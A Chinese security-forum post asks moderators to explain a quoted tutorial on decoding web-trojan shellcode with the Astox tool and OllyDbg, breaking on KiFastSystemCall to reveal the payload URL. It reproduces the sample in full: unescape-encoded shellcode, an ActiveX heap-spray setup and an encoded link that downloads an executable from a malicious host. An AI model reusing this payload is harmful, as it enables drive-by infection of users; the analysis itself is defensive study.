请各位版主解答一下“卡饭解密技巧”疑问??
以ckt1.cn包含的Shellcode为例,最后解密到这里qwweea.cn/360.htm,里面有一个 go.jpg和go1.jpg,内容如下: go.jpg%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22); s+=pingfan(%u42C7%u6308%u646D%u3E20%u42C var pingfan=unescape; var s=ping
以ckt1.cn包含的Shellcode为例,最后解密到这里qwweea.cn/360.htm,里面有一个go.jpg和go1.jpg,内容如下:
go.jpg%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22″); s+=pingfan(”%u42C7%u6308%u646D%u3E20%u42C var pingfan=unescape; var s=pingfan(”%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8″); s+=pingfan(”%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800″); s+=pingfan(”%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010″); s+=pingfan(”%u5700%uC8E8%u0002%uE800%u00FA%u0000%uC358%u8B53%u53DC%u206A%u0068%u0010%u5700%uB0E8%u0002%uE800%u00E2%u0000%uC358″); s+=pingfan(”%uE857%u0453%u0000%uF88B%uC933%u3349%uB0C0%uFCC3%uAEF2%u478D%u5FFF%u5BC3%uC63E%uB807%u893E%u015F%u3E66%u47C7%uFF05″); s+=pingfan(”%uC3E0%uACE9%u0004%u5B00%uEC817%u2F0C%u2063%u8322%u10C2%uC033%u5050%u0468%u0001%u5200%u5053%uC8E8%u0003″); s+=pingfan(”%uE800%u0072%u0000%uFC8B%uC78B%uC083%u3E08%u188A%uDB84%u0374%uEB40%u66F6%uC73E%u2200%u3322%u3ED2%u5088″); s+=pingfan(”%u8302%u54EC%uC033%uDB33%uCC8B%uF883%u7D54%u3E09%u1C89%u8308%u04C0%uF2EB%uCC8B%uD98B%uC383%u3310%u3EC0″); s+=pingfan(”%u43C7%u012C%u0000%u5100%u5053%u5050%u5050%u5750%uE850%u033B%u0000%u19E8%u0000%u6400%u04A1%u0000%u8D00″); s+=pingfan(”%u60A0%uFFFF%uE8FF%u0339%u0000%uDB33%u5353%u5353%uD0FF%u3880%u74E9%u8005%uE838%u0F75%u7881%u9005%u4190″); s+=pingfan(”%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF”); s+=pingfan(”%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57″); s+=pingfan(”%uE8D0%u01FB%u0000%uFF68%u0000%uFF00%uE8D0%uFED1%uFFFF%u5753%u3356%u50C0%uE854%u001E%u0000%uE850%u0255″); s+=pingfan(”%u0000%uD0FF%u8036%u243C%u7700%uE80A%u020B%u0000%uFF33%uFF57%u58D0%u5F5E%uC35B%u02EB%uC358%uF9E8%uFFFF”); s+=pingfan(”%u56FF%u8357%u08EC%uFC8B%u086A%u3E57%u77FF%uE814%u025D%u0000%uD0FF%uFC8B%u6168%u656D%u6800%u4549%u7246″); s+=pingfan(”%uF48B%u08B9%u0000%uF300%u75A6%u6A2F%u3E00%u74FF%u2024%u24E8%u0002%uFF00%u8BD0%uE8F8%u01CB%u0000%uD0FF”); s+=pingfan(”%uF83B%u0874%u8B36%u2444%u3E20%u00FF%uFF3E%u2474%uE81C%u01EF%u0000%uD0FF%uC483%u5F10%uB85E%u0001%u0000″); s+=pingfan(”%u68C3%u6E6F%u0000%u7568%u6C72%uEB6D%u8D15%u2444%u5004%u0BE8%uFFFE%u50FF%u4AE8%u0002%uE900%uFEE0%uFFFF”); s+=pingfan(”%uE6E8%uFFFF%u83FF%u08C4%u6AC3%u686C%u746E%u6C64%u15EB%u448D%u0424%uE850%uFDE4%uFFFF%uE850%u0223%u0000″); s+=pingfan(”%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA”); s+=pingfan(”%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB”); s+=pingfan(”%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867″); s+=pingfan(”%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3″); s+=pingfan(”%u01AB%u0000%u1B68%u46C6%u5079%uC6E8%u0001%u8300%u08C4%uE8C3%u0197%u0000%uEC68%u0397%u500C%uB2E8%u0001″); s+=pingfan(”%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56″); s+=pingfan(”%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7″); s+=pingfan(”%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300″); s+=pingfan(”%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E”); s+=pingfan(”%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000″); s+=pingfan(”%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4″); s+=pingfan(”%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000″); s+=pingfan(”%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9″); s+=pingfan(”%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057″); s+=pingfan(”%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850″); s+=pingfan(”%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4″); s+=pingfan(”%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B”); s+=pingfan(”%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246C%u3624%u458B”); s+=pingfan(”%u363C%u548B%u7828%uD503%u8B3E%u184A%u8B3E%u205A%uDD03%u3BE3%u3E49%u348B%u038B%u33F5%u33FF%uFCC0%u84AC”); s+=pingfan(”%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03″); s+=pingfan(”%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF”); var u=pingfan(”%u7468%u7074%u2f3a%u712f%u7777%u6565%u2e61%u6e63%u642f%u776f%u2e6e%u7865%u0065″); go1.jpg var headersize=20; bbbbs = ‘clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF’; seee = ‘9090′; saaa =’%u9′; skkk =’090′; ha=’%u’; sxxx = saaa + skkk + ha + seee; var dashell=s+u; var omybro=unescape(sxxx); var slackspace=headersize+dashell.length; while(omybro.length................等等 |
首先第一步,不管什么工具都要把这两段代码合到一起去。
关键就是合并之后怎么办,导出的Shellcode变量是dashell,不过在使用enumXOR或者类似的方法时无法导出(当然不是就事论事,我想创造的是一种通用的方法)。那怎么办呢?
如果使用Astox,我的处理方法是,首先把unescape脱掉(但是注意,不解密unescape,保留密文),这是Astox当前版本的必须条件(当然以后版本很快会改正…),然后选中dashell这个变量。当然其他工具无法通过enumXOR方法得出Astox也未必能,这个时候,Astox的植入PE功能就有用了,直接单击“导入OD调试”,程序目录下就会生成ShellcodeDebugTemp.exe文件。关键就是下一步,我们通过OD可以看到代码和以前利用该漏洞传播的网马完全不同,乍看起来什么头绪也没有。
技巧就在下一步,这时候按Ctrl+G呼出跟随的窗口,输入KiFastSystemCall并回车(或者直接在Command中输入bp KiFastSystemCall),然后按F9运行。
断下来之后,直接在内存窗口中按Ctrl+G跟随到408000处(这是由Astox而定的,Mozilla不一样),往下找一找就能看到网马地址了。
其实原理很简单,在XP和之后的操作系统中(所以本方法不能照搬在Windows2000上,Windows2000上要下int 2e的断点,具体位置可以通过Ctrl+F搜索)使用了sysenter从R3中转入R0的过程,而该过程的具体实现函数就是 KiFastSystemCall,也就是说断下KiFastSystemCall的时候就是完成了所有解密调用第一个API的时候。所以说可以清楚的看到网马的地址。
这篇解密文章有点看不懂,里面提到诸如:Astox、ShellcodeDebugTemp.exe、KiFastSystemCal等这些关键字,在网上也没找出答案,它是不是用的OD调试??如果是,那么OD调试具体方法是什么?上面那段代码两次ESC即可解出。请各位版主不吝赐教。谢谢。用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; CIBA; 360SE)